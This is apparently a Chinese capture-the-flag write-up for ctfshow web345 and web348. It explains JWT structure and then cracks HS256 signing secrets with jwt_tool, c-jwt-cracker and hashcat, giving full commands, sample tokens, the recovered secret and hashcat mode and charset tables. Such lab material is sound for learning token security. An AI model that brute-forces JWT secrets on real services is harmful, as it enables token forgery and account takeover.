jwt基础
JWT是JSON Web Token的缩写,它是一串带有声明信息的字符串,由服务端使用加密算法对信息签名,以保证其完整性和不可伪造性。Token里可以包含所有必要的信息,这样服务端就无需保存任何关于用户或会话的信息了。JWT可用于身份认证,会话状态维持以及信息交换等任务。
JSON Web 令牌结构
JSON Web令牌以紧凑的形式由三部分组成,这些部分由点(.)分隔,分别是:
头部(Header)
有效载荷(Payload)
签名(Signature)
头部(Header)
头部用于描述关于该JWT的最基本的信息,通常由两部分组成:令牌的类型(即JWT)和所使用的签名算法。例如:
{
"alg": "HS256",
"typ": "JWT"
}
ctfshow-web345(jwt密钥爆破)
使用工具:https://github.com/ticarpi/jwt_tool
从cookie中找到jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMTA4MTk4NSwiZXhwIjoxNjMxMDg5MTg1LCJuYmYiOjE2MzEwODE5ODUsInN1YiI6InVzZXIiLCJqdGkiOiIzZTc2YTUzNzIxZmFjMmEyYzVlY2I3NjJkZDUxMGNmYSJ9.ccX7cCWIBSu5ZpAiW6CuZk-o1Rhpy1i8K6LQVZ6mU4Y
发现采用HS256对称加密
使用jwt_tool进行秘钥爆破,结果为123456
# 使用手册
https://blog.csdn.net/qq_23936389/article/details/103451888
# 尝试破解密钥(HMAC算法)例如HS256 / HS384 / HS512
python3 jwt_tool.py <jwt值> -C -d <字典>
python3 jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMTA4MTk4NSwiZXhwIjoxNjMxMDg5MTg1LCJuYmYiOjE2MzEwODE5ODUsInN1YiI6InVzZXIiLCJqdGkiOiIzZTc2YTUzNzIxZmFjMmEyYzVlY2I3NjJkZDUxMGNmYSJ9.ccX7cCWIBSu5ZpAiW6CuZk-o1Rhpy1i8K6LQVZ6mU4Y" -C -d 10_million_password_list_top_100000.txt
# 在-d dictionary.txt参数旁边使用jwt_tool的-C标志来尝试针对字典文件中的所有单词验证密钥
ctfshow-web348
这里用字典没爆破出来,使用c-jwt-cracker
爆破出来了
地址:https://github.com/brendan-rius/c-jwt-cracker
# kali安装
apt-get install libssl-dev
make
# 使用
./jwtcrack "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMTA4MzYwMywiZXhwIjoxNjMxMDkwODAzLCJuYmYiOjE2MzEwODM2MDMsInN1YiI6InVzZXIiLCJqdGkiOiI3ZGVlYmEyY2JkNjY1Zjg0NGQxZWFhZGQwMTMwZjZmZSJ9.WF2B5xtyepFKIlVbeABuYi2Fmd7hZI-_pOEPJUj7Nik"
或者使用hashcat暴力破解也可以
hashcat -m 16500 jwt.txt -a 3 -w 3 ?l?l?l?l
使用hashcat爆破
除此之外,我们也可以用hashcat来爆破,使用教程https://blog.csdn.net/smli_ng/article/details/106111493
直接使用规则爆破
hashcat -a 0 -m 16500 jwt_token jwt_key.txt -r rules/d3ad0ne.rule --force
-m, --hash-type 指定哈希类型
-a, --attack-mode 指定破解模式
-w, --workload-profile
暴力破解
hashcat -m 16500 jwt.txt -a 3 -w 3 ?a?a?a?a?a?a
hashcat破解模式介绍
0 straight 字典破解
1 combination 将字典中密码进行组合(1 2 ——> 11 22 12 21)
3 brute-force 使用指定掩码破解
6 Hybrid Wordlist + Mask 字典+掩码破解
7 Hybrid Mask + Wordlist 掩码+字典破解
hashcat集成的字符集
?l 代表小写字母
?u 代表大写字母
?d 代表数字
?s 代表特殊字符
?a 代表大小写字母、数字以及特殊字符
?b 0x00-0xff